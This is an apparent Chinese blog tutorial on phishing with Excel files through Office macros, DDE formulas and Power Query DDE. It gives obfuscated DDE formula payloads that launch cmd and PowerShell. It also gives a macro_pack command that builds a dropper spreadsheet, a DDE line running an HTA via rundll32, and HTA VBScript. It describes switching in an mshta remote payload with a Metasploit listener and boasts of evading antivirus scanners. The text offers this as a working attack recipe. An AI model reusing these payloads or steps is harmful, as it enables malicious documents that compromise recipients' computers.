点击关注了解更多精彩内容!!

excel钓鱼简介
关于excel钓鱼是由来已久的一种攻击方式,目前本人已知的方法有:
office宏攻击
DDE攻击
power query DDE(DDE的一种)

office宏攻击
宏攻击,一种古老的攻击手法,依靠在office中插入恶意的vbs代码,来执行恶意shellcode。在cs中就有现成的宏攻击。
然后按照步骤加入宏,用户在启用宏的情况下即可顺利上线。

DDE攻击
动态数据交换(DDE),它是在Microsoft Windows操作系统中实现的客户端/服务器通信方法。我关注到这类攻击还是从推特的大佬哪里看到的:
在开源的openoffice中可以直接只有DDE函数,像=DDE("cmd";"/C calc";"123")这样调用。
而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDE。注意:该方法的提示窗口只提示application而不提示topic。
一些特性:
1、当excel遇到+和-会自动填充=成为公式,如
+thespnquisition(cmd|'/c calc.exe'!A
2、若打开的外部应用为8字符,excel自动忽略后面的字符,如下面的两个作用相同:
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
3、将其他表达式或空格填充在恶意表达式之前
=AA+BB-CC&"Hello"/12345&cmd|'/c calc.exe'!A
4、通过windows batch的语法特性,填充无意义或是不影响执行逻辑的字符和指令,将topic字段混淆,如文章开始处的payload:
=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
/c是cmd参数,表示执行后关闭窗口
REM表示后面的内容是注释
.表示空行,用于终止之前的REM
&&表示如果前一条指令执行成功则执行后一条指令
@ 表示执行窗口不显示后面的命令
^表示转义,此处无实际意义,只是用来混淆powershell这一敏感词
?表示powershell通配符,其中匹配任意字符串,?匹配1个字符,此处能唯一定位到c:/windows/system32/calc.exe
“无实际用途,删了也没啥区别
所以经过解析后,实际执行的命令是:
cmd.exe/c powershell c:/windows/system32/calc.exe
当然,也可以使用字符串拼接的特性,将命令变为下面这样:
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
msf也集成了这种攻击方法:

power query DDE(DDE的一种)
参考:https://xz.aliyun.com/t/5514

实现思路:DDE + 宏 + lolbin进行钓鱼,实现vt静态全免。
具体的思路如下:使用宏远程下载一个hta文件,然后依靠dde加载该hta,hta为一个启动mshta的恶意程序。
首先,我们要建立一个使用宏远程下载的excel文件,如果会vbs的话可以自己进行编写,如果不会的话可以使用macro_pack进行辅助,(macro_pack是一个用于自动生成混淆过的MS Office文档、VB脚本等其他格式的工具,其主要目的是用于渗透测试、demo以及社会工程学的评估。macro_pack的目标是简化利用流程,反恶意软件绕过,并自动化vba生成到最终Office文档生成的过程。)我们的目的是使用它生成一个具有下载功能的excel。我们可以使用下面的方法进行生成:
echo "https://myurl.url/payload.exe" "dropped.exe" | macro_pack.exe -t DROPPER -G "drop.xls"
这样生成的xls文档就会自动下载url的payload.exe,并保存为dropped.exe。然后执行,但是我们不要求它进行执行,所以需要删除掉里面执行的代码:
将里面的ExecuteCmdAsync downloadPath给删除掉,并删除其构造代码,然后更改下载路径为你自己想要的路径,服务器地址为你的地址即可。
然后我们此时打开该文档,就会提示我们运行宏,我们允许,则会在我们刚才设置的地方下载好我们的hta文件。然后我们将宏代码保存为vba文件,使用下面的命令将其混淆:
macro_pack.exe -f xxx.vba -o -G xxx.xls
此时我们的宏已经变成了下面的模样:
然后我们下面就需要调用我们的hta文件了。我们说过了,要使用dde,我们这里就使用dde去调用rundll32.exe去运行我们的hta文件:
=MSEXCEL|'\..\..\..\Windows\System32\rundll32.exe url.dll,FileProtocolHandler c:\temp\payload.hta'!_xlbgnm.A1
比如当前我们的hta内容如下:
<HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"><HEAD> <script language="VBScript">Window.ReSizeTo 0, 0Window.moveTo -2000,-2000Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"self.closescript><body>body>HEAD> HTML>
那么将执行内部代码弹出计算器:
但是,仅仅这样还是不够的我们还需要其他的,我们接下来再使用攻击中常见的一种手法,mshta攻击,用法如下:
mshta.exe payload地址
首先使用msf开启监听:
然后将这里:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
改成mshta的利用语句并混淆,目标运行,成功上线:
vt查杀情况如下:
某卫士:

